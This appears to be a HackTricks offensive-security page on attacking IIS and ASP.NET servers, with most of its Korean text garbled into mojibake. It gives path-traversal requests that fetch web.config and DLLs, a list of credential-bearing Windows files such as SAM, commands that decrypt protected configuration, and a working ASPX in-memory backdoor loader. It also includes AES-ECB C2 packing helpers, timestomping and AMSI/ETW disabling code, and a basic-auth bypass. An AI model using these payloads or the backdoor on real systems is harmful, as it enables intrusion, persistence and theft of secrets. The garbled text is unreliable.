IIS - Internet Information Services
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
ํ ์คํธ ์คํ ํ์ผ ํ์ฅ์:
- asp
- aspx
- config
- php
๋ด๋ถ IP ์ฃผ์ ๋ ธ์ถ
IIS ์๋ฒ์์ 302 ์๋ต์ ๋ฐ๋ ๊ฒฝ์ฐ Host ํค๋๋ฅผ ์ ๊ฑฐํ๊ณ HTTP/1.0์ ์ฌ์ฉํด ๋ณด์ธ์. ์๋ต์ Location ํค๋๊ฐ ๋ด๋ถ IP ์ฃผ์๋ฅผ ๊ฐ๋ฆฌํฌ ์ ์์ต๋๋ค:
nc -v domain.com 80
openssl s_client -connect domain.com:443
๋ด๋ถ IP๋ฅผ ๋ ธ์ถํ๋ ์๋ต:
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
.config ํ์ผ ์คํ
.config ํ์ผ์ ์ ๋ก๋ํ์ฌ ์ฝ๋๋ฅผ ์คํํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค. ํ ๊ฐ์ง ๋ฐฉ๋ฒ์ ํ์ผ ๋์ HTML ์ฃผ์ ์์ ์ฝ๋๋ฅผ ์ถ๊ฐํ๋ ๊ฒ์ ๋๋ค: ์์ ๋ค์ด๋ก๋
์ด ์ทจ์ฝ์ ์ ์ ์ฉํ๋ ๋ฐฉ๋ฒ๊ณผ ์ถ๊ฐ ๊ธฐ์ ์ ์ฌ๊ธฐ์์ ํ์ธํ์ธ์.
IIS Discovery Bruteforce
์ ๊ฐ ๋ง๋ ๋ฆฌ์คํธ๋ฅผ ๋ค์ด๋ก๋ํ์ธ์:
๋ค์ ๋ฆฌ์คํธ๋ค์ ๋ด์ฉ์ ํฉ์ณ ์์ฑ๋์์ต๋๋ค:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
ํ์ฅ์๋ฅผ ์ถ๊ฐํ์ง ๋ง๊ณ ์ฌ์ฉํ์ธ์. ํ์ํ ํ์ฅ์๋ ์ด๋ฏธ ํฌํจ๋์ด ์์ต๋๋ค.
Path Traversal
Leaking source code
์ ์ฒด ์์ธํ ์ค๋ช ์ ๋ค์์ ํ์ธํ์ธ์: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
Tip
์์ฝํ์๋ฉด, ์ ํ๋ฆฌ์ผ์ด์ ์ ํด๋ ์์๋ โassemblyIdentityโ ํ์ผ๊ณผ โnamespacesโ๋ฅผ ์ฐธ์กฐํ๋ ์ฌ๋ฌ web.config ํ์ผ์ด ์์ต๋๋ค. ์ด ์ ๋ณด๋ฅผ ํตํด ์คํ ๊ฐ๋ฅํ ํ์ผ์ ์์น๋ฅผ ์ ์ ์๊ณ ํด๋น ํ์ผ์ ๋ค์ด๋ก๋ํ ์ ์์ต๋๋ค.
๋ค์ด๋ก๋ํ Dlls์์ ์๋ก์ด namespaces๋ฅผ ์ฐพ์ ์ ๊ทผ์ ์๋ํ๊ณ web.config ํ์ผ์ ์ป์ด ๋ ๋ง์ namespaces์ assemblyIdentity๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค.
๋ํ connectionstrings.config์ global.asax ํ์ผ์๋ ํฅ๋ฏธ๋ก์ด ์ ๋ณด๊ฐ ํฌํจ๋์ด ์์ ์ ์์ต๋๋ค.
In .Net MVC applications, the web.config file plays a crucial role by specifying each binary file the application relies on through โassemblyIdentityโ XML tags.
๋ฐ์ด๋๋ฆฌ ํ์ผ ํ์
์๋์ web.config ํ์ผ์ ์ ๊ทผํ๋ ์์๊ฐ ๋์ ์์ต๋๋ค:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
์ด ์์ฒญ์ ๋ค์๊ณผ ๊ฐ์ ๋ค์ํ ์ค์ ๋ฐ ์ข ์์ฑ์ ๋๋ฌ๋ ๋๋ค:
- EntityFramework ๋ฒ์
- AppSettings (์นํ์ด์ง, ํด๋ผ์ด์ธํธ ์ ํจ์ฑ ๊ฒ์ฌ ๋ฐ JavaScript์ฉ)
- System.web์ ์ธ์ฆ ๋ฐ ๋ฐํ์ ๊ตฌ์ฑ
- System.webServer ๋ชจ๋ ์ค์
- Runtime์ ์ด์ ๋ธ๋ฆฌ ๋ฐ์ธ๋ฉ(์: Microsoft.Owin, Newtonsoft.Json, System.Web.Mvc ๋ฑ ์ฌ๋ฌ ๋ผ์ด๋ธ๋ฌ๋ฆฌ)
์ด๋ฌํ ์ค์ ์ /bin/WebGrease.dll ๊ฐ์ ํน์ ํ์ผ๋ค์ด ์ ํ๋ฆฌ์ผ์ด์ ์ /bin ํด๋์ ์์นํ๊ณ ์์์ ๋ํ๋ ๋๋ค.
Root Directory Files
๋ฃจํธ ๋๋ ํฐ๋ฆฌ์์ ๋ฐ๊ฒฌ๋๋ ํ์ผ๋ค, ์๋ฅผ ๋ค์ด /global.asax ๋ฐ /connectionstrings.config(๋ฏผ๊ฐํ ๋น๋ฐ๋ฒํธ๋ฅผ ํฌํจํ๊ณ ์์)๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ๊ตฌ์ฑ ๋ฐ ๋์์ ํ์์ ์ ๋๋ค.
Namespaces and Web.Config
MVC ์ ํ๋ฆฌ์ผ์ด์ ์ ๊ฐ ํ์ผ์์ ๋ฐ๋ณต ์ ์ธ์ ํผํ๊ธฐ ์ํด ํน์ ๋ค์์คํ์ด์ค์ฉ ์ถ๊ฐ web.config files๋ฅผ ์ ์ํ๊ธฐ๋ ํ๋ฉฐ, ๋ค๋ฅธ web.config๋ฅผ ๋ค์ด๋ก๋ํ๋๋ก ํ ์์ฒญ์์ ๊ทธ ์ ์ด ๋๋ฌ๋ฉ๋๋ค:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
DLL ๋ค์ด๋ก๋
์ปค์คํ ๋ค์์คํ์ด์ค์ ์ธ๊ธ์ /bin ๋๋ ํ ๋ฆฌ์ WebApplication1๋ผ๋ ์ด๋ฆ์ DLL์ด ์กด์ฌํจ์ ์์ํฉ๋๋ค. ์ด์ด์ WebApplication1.dll์ ๋ค์ด๋ก๋ํ๋ ์์ฒญ์ด ํ์๋ฉ๋๋ค:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
์ด๋ /bin ๋๋ ํฐ๋ฆฌ์ System.Web.Mvc.dll ๋ฐ System.Web.Optimization.dll ๊ฐ์ ๋ค๋ฅธ ํ์ DLL๋ค์ด ์กด์ฌํจ์ ์์ฌํฉ๋๋ค.
DLL์ด WebApplication1.Areas.Minded๋ผ๋ ๋ค์์คํ์ด์ค๋ฅผ ์ํฌํธํ๋ ์ํฉ์์๋, ๊ณต๊ฒฉ์๊ฐ /area-name/Views/ ๊ฐ์ ์์ธก ๊ฐ๋ฅํ ๊ฒฝ๋ก์ ๋ค๋ฅธ web.config ํ์ผ๋ค์ด ์กด์ฌํ๋ฉฐ ๊ทธ ์์ ํน์ ๊ตฌ์ฑ๊ณผ /bin ํด๋์ ๋ค๋ฅธ DLL๋ค์ ์ฐธ์กฐํ๋ ํญ๋ชฉ๋ค์ด ํฌํจ๋์ด ์์์ ์ ์ถํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด /Minded/Views/web.config์ ๋ํ ์์ฒญ์ ๊ตฌ์ฑ๊ณผ ๋ค์์คํ์ด์ค๋ฅผ ๋๋ฌ๋ด์ด ๋ค๋ฅธ DLL์ธ WebApplication1.AdditionalFeatures.dll์ ์กด์ฌ๋ฅผ ๋ํ๋ผ ์ ์์ต๋๋ค.
์ผ๋ฐ ํ์ผ
์ถ์ฒ: here
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 404 Error
If you see an error like the following one:
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png)
๋ค์๊ณผ ๊ฐ์ ์ค๋ฅ๊ฐ ๋ณด์ด๋ฉด:
It means that the server didnโt receive the correct domain name inside the Host header.
์น ์๋ฒ๊ฐ Host header์ ์ฌ๋ฐ๋ฅธ ๋๋ฉ์ธ ์ด๋ฆ์ ๋ฐ์ง ๋ชปํ๋ค๋ ์๋ฏธ์
๋๋ค.
In order to access the web page you could take a look to the served SSL Certificate and maybe you can find the domain/subdomain name in there. If it isnโt there you may need to brute force VHosts until you find the correct one.
์น ํ์ด์ง์ ์ ๊ทผํ๋ ค๋ฉด ์ ๊ณต๋๋ SSL Certificate๋ฅผ ํ์ธํ์ฌ ๋๋ฉ์ธ/์๋ธ๋๋ฉ์ธ ์ด๋ฆ์ ์ฐพ์ ์ ์๋์ง ํ์ธํ์ธ์. ์กด์ฌํ์ง ์์ผ๋ฉด ์ฌ๋ฐ๋ฅธ ํญ๋ชฉ์ ์ฐพ์ ๋๊น์ง brute force VHosts๋ฅผ ์๋ํด์ผ ํ ์ ์์ต๋๋ค.
Decrypt encrypted configuration and ASP.NET Core Data Protection key rings
Two common patterns to protect secrets on IIS-hosted .NET apps are:
IIS์ ํธ์คํ
๋ .NET ์ฑ์์ ๋น๋ฐ์ ๋ณดํธํ๊ธฐ ์ํ ๋ ๊ฐ์ง ์ผ๋ฐ์ ์ธ ํจํด์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) for web.config sections like
. - ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) โ web.config์
์ ๊ฐ์ ์น์ ์ ์ฌ์ฉ๋จ. - ASP.NET Core Data Protection key ring (persisted locally) used to protect application secrets and cookies.
- ASP.NET Core Data Protection ํค ๋ง(๋ก์ปฌ์ ์ ์ฅ๋จ) โ ์ ํ๋ฆฌ์ผ์ด์ ๋น๋ฐ๊ณผ ์ฟ ํค๋ฅผ ๋ณดํธํ๋ ๋ฐ ์ฌ์ฉ๋จ.
If you have filesystem or interactive access on the web server, co-located keys often allow decryption.
์น ์๋ฒ์ ํ์ผ ์์คํ
๋๋ ๋ํํ ์ก์ธ์ค๊ฐ ์๋ ๊ฒฝ์ฐ, ๋์ผ ์์น์ ์๋ ํค๋ก ๋ณตํธํ๊ฐ ๊ฐ๋ฅํ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค.
- ASP.NET (Full Framework) โ decrypt protected config sections with aspnet_regiis:
- ASP.NET (Full Framework) โ ๋ณดํธ๋ ๊ตฌ์ฑ ์น์ ์ aspnet_regiis๋ก ๋ณตํธํ:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
- ASP.NET Core โ ๋ก์ปฌ์ ์ ์ฅ๋ Data Protection ํค ๋ง(XML/JSON ํ์ผ)์ ๋ค์๊ณผ ๊ฐ์ ์์น์์ ์ฐพ์๋ณด์ธ์:
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
ํค ๋ง์ด ํ๋ณด๋๋ฉด, ์ฑ์ ์์ด๋ดํฐํฐ๋ก ์คํ๋๋ ์ด์์๋ ๋์ผํ purposes๋ก IDataProtector๋ฅผ ์ธ์คํด์คํํ๊ณ ์ ์ฅ๋ ๋น๋ฐ์ unprotectํ ์ ์์ต๋๋ค. ํค ๋ง์ ์ฑ ํ์ผ๊ณผ ํจ๊ป ์ ์ฅํ๋ ์๋ชป๋ ๊ตฌ์ฑ์ ํธ์คํธ๊ฐ ์นจํด๋ ํ ์คํ๋ผ์ธ ๋ณตํธํ๋ฅผ ๋งค์ฐ ์ฝ๊ฒ ๋ง๋ญ๋๋ค.
IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
Phantom Taurus/NET-STAR toolkit์ w3wp.exe ๋ด๋ถ์์ ์์ ํ ๋์ํ๋ fileless IIS persistence ๋ฐ postโexploitation์ ๋ํ ์ฑ์ํ ํจํด์ ์ ์ํฉ๋๋ค. ํต์ฌ ์์ด๋์ด๋ ์ปค์คํ tradecraft ๋ฐ ํ์ง/ํํ ์์ ํญ๋๊ฒ ์ฌ์ฌ์ฉ ๊ฐ๋ฅํฉ๋๋ค.
Key building blocks
- ASPX bootstrapper hosting an embedded payload: ๋จ์ผ .aspx ํ์ด์ง(์: OutlookEN.aspx)๊ฐ Base64โencoded, optionally Gzipโcompressed .NET DLL์ ํฌํจํฉ๋๋ค. ํธ๋ฆฌ๊ฑฐ ์์ฒญ์ด ๋ค์ด์ค๋ฉด ์ด๋ฅผ ๋์ฝ๋ํ๊ณ ์์ถ์ ํ์ด ๋ฆฌํ๋ ํฐ๋ธ ๋ฐฉ์์ผ๋ก ํ์ฌ AppDomain์ ๋ก๋ํ ๋ค ๋ฉ์ธ ์ง์ ์ (์: ServerRun.Run())์ ํธ์ถํฉ๋๋ค.
- Cookieโscoped, encrypted C2 with multiโstage packing: ์์ /๊ฒฐ๊ณผ๋ Gzip โ AESโECB/PKCS7 โ Base64๋ก ๋ํ๋์ด ๊ฒ๋ณด๊ธฐ์๋ ํฉ๋ฒ์ ์ธ cookieโheavy ์์ฒญ์ ํตํด ์ ์ก๋ฉ๋๋ค; ์ด์์๋ ์ฒญํฌ ๋ถํ ์ ์ํด ์์ ์ ์ธ ๊ตฌ๋ถ์(์: โSTARโ)๋ฅผ ์ฌ์ฉํ์ต๋๋ค.
- Reflective .NET execution: ์์์ managed assemblies๋ฅผ Base64๋ก ๋ฐ์ Assembly.Load(byte[])๋ก ๋ก๋ํ๊ณ ๋์คํฌ๋ฅผ ๊ฑด๋๋ฆฌ์ง ์๊ณ ๋น ๋ฅธ ๋ชจ๋ ๊ต์ฒด๋ฅผ ์ํด ์คํผ๋ ์ดํฐ ์ธ์๋ฅผ ์ ๋ฌํฉ๋๋ค.
- Operating in precompiled ASP.NET sites: ์ฌ์ดํธ๊ฐ precompiled๋์ด ์์ด๋ ๋ณด์กฐ ์/๋ฐฑ๋์ด๋ฅผ ์ถ๊ฐ/๊ด๋ฆฌํ ์ ์์ต๋๋ค(์: dropper๊ฐ dynamic pages/handlers๋ฅผ ์ถ๊ฐํ๊ฑฐ๋ config handlers๋ฅผ ํ์ฉ). ์ด๋ bypassPrecompiledApp, addshell, listshell, removeshell ๊ฐ์ ๋ช ๋ น์ผ๋ก ๋ ธ์ถ๋ฉ๋๋ค.
- Timestomping/metadata forgery: changeLastModified ์ก์ ์ ๋ ธ์ถํ๊ณ ๋ฐฐํฌ ์ timestomp(๋ฏธ๋ ์ปดํ์ผ ํ์์คํฌํ ํฌํจ)๋ฅผ ์ํํ์ฌ DFIR์ ๋ฐฉํดํฉ๋๋ค.
- Optional AMSI/ETW preโdisable for loaders: 2๋จ๊ณ ๋ก๋๋ Assembly.Load๋ฅผ ํธ์ถํ๊ธฐ ์ ์ AMSI์ ETW๋ฅผ ๋นํ์ฑํํ์ฌ ๋ฉ๋ชจ๋ฆฌ ๋ด ํ์ด๋ก๋์ ๋ํ ๊ฒ์ฌ๋ฅผ ์ค์ผ ์ ์์ต๋๋ค.
Minimal ASPX loader pattern
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hardโcoded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>
ํจํน/์ํธํ ํฌํผ (Gzip + AESโECB + Base64)
using System.Security.Cryptography;
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}
static string Pack(object obj, byte[] key){
// serialize โ gzip โ AESโECB โ Base64
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}
static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}
Cookie/session ํ๋ฆ ๋ฐ ๋ช ๋ น ํ๋ฉด
- Session bootstrap์ tasking์ ์ ์์ ์ธ ์น ํ๋์ ์์ด๋๋ก cookies๋ฅผ ํตํด ์ ๋ฌ๋๋ค.
- ์ค์ ์์ ๊ด์ฐฐ๋ ๋ช ๋ น์๋ ๋ค์์ด ํฌํจ๋๋ค: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; ๊ทธ๋ฆฌ๊ณ ๋ฉ๋ชจ๋ฆฌ ๋ด .NET ์คํ์ ์ํ ๋์ ์คํ ํ๋ฆฌ๋ฏธํฐ๋ธ code_self, code_pid, run_code.
Timestomping ์ ํธ๋ฆฌํฐ
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);
Assembly.Load ์ ์ AMSI/ETW๋ฅผ ์ธ๋ผ์ธ์ผ๋ก ๋นํ์ฑํ (loader variant)
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
๋ค์์์ AMSI/ETW bypass techniques๋ฅผ ์ฐธ์กฐํ์ธ์: windows-hardening/av-bypass.md
Hunting notes (defenders)
- ๋จ์ผ์ ์ด์ํ ASPX ํ์ด์ง, ๋งค์ฐ ๊ธด Base64/Gzip ๋ธ๋กญ; ์ฟ ํค๊ฐ ๋ง์ POST ์์ฒญ.
- w3wp.exe ๋ด๋ถ์ unbacked managed modules; Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run ๊ฐ์ ๋ฌธ์์ด.
- ํธ๋ํฝ์์ โSTARโ ๊ฐ์ ๋ฐ๋ณต ๊ตฌ๋ถ์; ASPX/assemblies์ ๋ถ์ผ์นํ๊ฑฐ๋ ์ฌ์ง์ด ๋ฏธ๋ ์์ ์ ํ์์คํฌํ.
Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)
๋ง์ ASP.NET ์ฑ์ด Telerik UI for ASP.NET AJAX๋ฅผ ์๋ฒ ๋ํ๊ณ ์ธ์ฆ ์์ด ์ ๊ทผ ๊ฐ๋ฅํ ํธ๋ค๋ฌ Telerik.Web.UI.WebResource.axd๋ฅผ ๋ ธ์ถํฉ๋๋ค. Image Editor ์บ์ ์๋ํฌ์ธํธ(type=iec)์ ์ ๊ทผ ๊ฐ๋ฅํ๋ฉด, ํ๋ผ๋ฏธํฐ dkey=1 ๋ฐ prtype๊ฐ unsafe reflection์ ํ์ฑํํ์ฌ ์ธ์ฆ ์ (preโauth) ์ด๋ค public parameterless ์์ฑ์๋ ์คํํ ์ ์๊ฒ ํฉ๋๋ค. ์ด๋ ๋ฒ์ฉ DoS ํ๋ฆฌ๋ฏธํฐ๋ธ๋ฅผ ์ ๊ณตํ๊ณ , AppDomain.AssemblyResolve ํธ๋ค๋ฌ๊ฐ ์์ ํ์ง ์์ ์ฑ์์๋ preโauth RCE๋ก ์์นํ ์ ์์ต๋๋ค.
See detailed techniques and PoCs here:
Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd
Old IIS vulnerabilities worth looking for
Microsoft IIS tilde character โ~โ Vulnerability/Feature โ Short File/Folder Name Disclosure
์ด ๊ธฐ์ ์ ์ฌ์ฉํ๋ฉด(์ฌ์ง์ด Basic Authentication์ด ํ์ํ ๊ฒฝ์ฐ์๋) ๋ฐ๊ฒฌํ ๊ฐ ํด๋ ๋ด๋ถ์ ํด๋์ ํ์ผ์ ์ด๊ฑฐํด๋ณผ ์ ์์ต๋๋ค.\ ์ด ๊ธฐ๋ฒ์ ์ฃผ์ ์ ํ์ ์๋ฒ๊ฐ ์ทจ์ฝํด๋ ๊ฐ ํ์ผ/ํด๋ ์ด๋ฆ์ ์ฒ์ ์ต๋ 6๊ธ์์ ํ์ฅ์์ ์ฒ์ 3๊ธ์๊น์ง๋ง ์ฐพ์ ์ ์๋ค๋ ์ ์ ๋๋ค.
You can use https://github.com/irsdl/IIS-ShortName-Scanner to test for this vulnerability:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
.png)
Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
You can also use metasploit: use scanner/http/iis_shortname_scanner
๋ฐ๊ฒฌํ ํ์ผ์ ์ต์ข ์ด๋ฆ์ ์ฐพ๋ ์ข์ ์์ด๋์ด๋ LLMs์ ์ต์ ์ ์์ฒญํ๋ ๊ฒ์ ๋๋ค. ์์๋ ์คํฌ๋ฆฝํธ https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py์ฒ๋ผ ๋์ํฉ๋๋ค.
Basic Authentication bypass
Bypass a basic authentication (IIS 7.5) trying to access: /admin:$i30:$INDEX_ALLOCATION/admin.php or /admin::$INDEX_ALLOCATION/admin.php
์ด ์ทจ์ฝ์ ๊ณผ ์์ ๋ฐฉ๋ฒ์ ์กฐํฉํด ์๋ก์ด ํด๋๋ฅผ ์ฐพ๊ณ ์ธ์ฆ์ ์ฐํํ ์ ์์ต๋๋ค.
ASP.NET Trace.AXD enabled debugging
ASP.NET์๋ ๋๋ฒ๊น
๋ชจ๋๊ฐ ์์ผ๋ฉฐ ํด๋น ํ์ผ์ trace.axd์
๋๋ค.
์ ํ๋ฆฌ์ผ์ด์ ์ ๋ํ ์ผ์ ๊ธฐ๊ฐ ๋์์ ๋ชจ๋ ์์ฒญ์ ๋งค์ฐ ์์ธํ๊ฒ ๊ธฐ๋กํฉ๋๋ค.
์ด ์ ๋ณด์๋ ์๊ฒฉ ํด๋ผ์ด์ธํธ IP, ์ธ์ ID, ๋ชจ๋ ์์ฒญ ๋ฐ ์๋ต ์ฟ ํค, ๋ฌผ๋ฆฌ์ ๊ฒฝ๋ก, ์์ค ์ฝ๋ ์ ๋ณด ๋ฐ ์ ์ฌ์ ์ผ๋ก ์ฌ์ฉ์ ์ด๋ฆ๊ณผ ๋น๋ฐ๋ฒํธ๊น์ง ํฌํจ๋ฉ๋๋ค.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

ASPXAUTH Cookie
ASPXAUTH๋ ๋ค์ ์ ๋ณด๋ฅผ ์ฌ์ฉํฉ๋๋ค:
validationKey(string): hex-encoded key to use for signature validation.decryptionMethod(string): (default โAESโ).decryptionIV(string): hex-encoded initialization vector (defaults to a vector of zeros).decryptionKey(string): hex-encoded key to use for decryption.
